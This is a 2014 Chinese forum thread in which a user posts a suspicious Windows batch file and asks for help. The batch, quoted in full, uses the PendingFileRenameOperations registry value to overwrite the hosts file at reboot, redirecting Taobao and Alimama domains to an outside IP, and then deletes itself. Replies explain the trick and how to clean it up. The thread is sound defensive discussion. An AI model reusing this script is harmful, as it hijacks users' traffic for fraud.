一个可疑的批处理文件

显示全部楼层 · 发表于 2014-4-11 10:48:39

本帖最后由 like2014 于 2014-4-14 08:02 编辑

突然发现一个可疑的批处理文件，内容如下：
@echo off
:ks
if exist "c:\Documents and Settings\FIS.txt" goto del1
echo 113.10.166.228 tmatch.simba.taobao.com 113.10.166.228 xmatch.simba.taobao.com 113.10.166.228 itam.taobao.com 113.10.166.228 a.alimama.cn>"c:\Documents and Settings\FIS.txt"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\c:\Documents and Settings\FIS.txt"\0"!\??\C:\WINDOWS\system32\drivers\etc\hosts" /f>nul
del %0

:del1
del %0

另外发现 hosts 里只有这些内容：
113.10.166.228 tmatch.simba.taobao.com 113.10.166.228 xmatch.simba.taobao.com 113.10.166.228 itam.taobao.com 113.10.166.228 a.alimama.cn

请教各位朋友，我是不是中招了？危害大吗？直接删除那个文件是不是就可以解决？

显示全部楼层 · 发表于 2014-4-11 11:14:58

建立一个c:\Documents and Settings\FIS.txt，内容是那几个IP和域名

下次重启时用来替换C:\WINDOWS\system32\drivers\etc\hosts

然后你原来的host就没了

可能是为了绕过保护host的杀软吧

显示全部楼层 · 发表于 2014-4-11 12:42:23

批处理是什么的语言做的。？

显示全部楼层 · 发表于 2014-4-11 12:53:40

直接删除批处理文件后 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager这个表值对照下其他电脑是怎么设置的对应设置下
C:\WINDOWS\system32\drivers\etc\hosts 这个简单记事本形式打开里面的内容可以全部删掉
这个文件是把淘宝搜索的页面跳转到他的站点从而坑人的
最好还是杀毒下批处理还算很明显

显示全部楼层 · 发表于 2014-4-11 16:25:29

peng85344558 发表于 2014-4-11 12:53
直接删除批处理文件后 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager这个表值对 ...

注册表好像没啥问题吧，看不太明白
批处理已经删除，hosts也已经清空啦
可惜，用QQ管家与金山毒霸都没查出问题来

显示全部楼层 · 发表于 2014-4-11 17:00:15

like2014 发表于 2014-4-11 16:25
注册表好像没啥问题吧，看不太明白
批处理已经删除，hosts也已经清空啦
可惜，用QQ管家与金山毒霸都没 ...

留意那个批处理在电脑重启后是否再生再生就麻烦了
@100lj 帮手对比下HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager 键值是否差不多我的系统没比对性

显示全部楼层 · 发表于 2014-4-11 17:12:48

peng85344558 发表于 2014-4-11 17:00
留意那个批处理在电脑重启后是否再生再生就麻烦了
@100lj 帮手对比下HKEY_LOCAL_MACHINE\SYSTEM\Curr ...

win7 64的。老朋好些天没出现了，回来就好

显示全部楼层 · 发表于 2014-4-11 18:48:14

本帖最后由 100lj 于 2014-4-11 18:51 编辑

peng85344558 发表于 2014-4-11 17:00
留意那个批处理在电脑重启后是否再生再生就麻烦了
@100lj 帮手对比下HKEY_LOCAL_MACHINE\SYSTEM\Curr ...

我是XP的，好像与楼主的不完全一样。

显示全部楼层 · 发表于 2014-4-12 12:50:42

like2014 发表于 2014-4-11 16:25
注册表好像没啥问题吧，看不太明白
批处理已经删除，hosts也已经清空啦
可惜，用QQ管家与金山毒霸都没 ...

pendingfilenameoperations 那个键值记录下然后删除掉
那个是重命名功能的键有风险

显示全部楼层 · 发表于 2014-4-14 08:02:33

peng85344558 发表于 2014-4-12 12:50
pendingfilenameoperations 那个键值记录下然后删除掉
那个是重命名功能的键有风险

好的，谢谢朋友

[已解决] 一个可疑的批处理文件

评分

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源

评分

浏览过的版块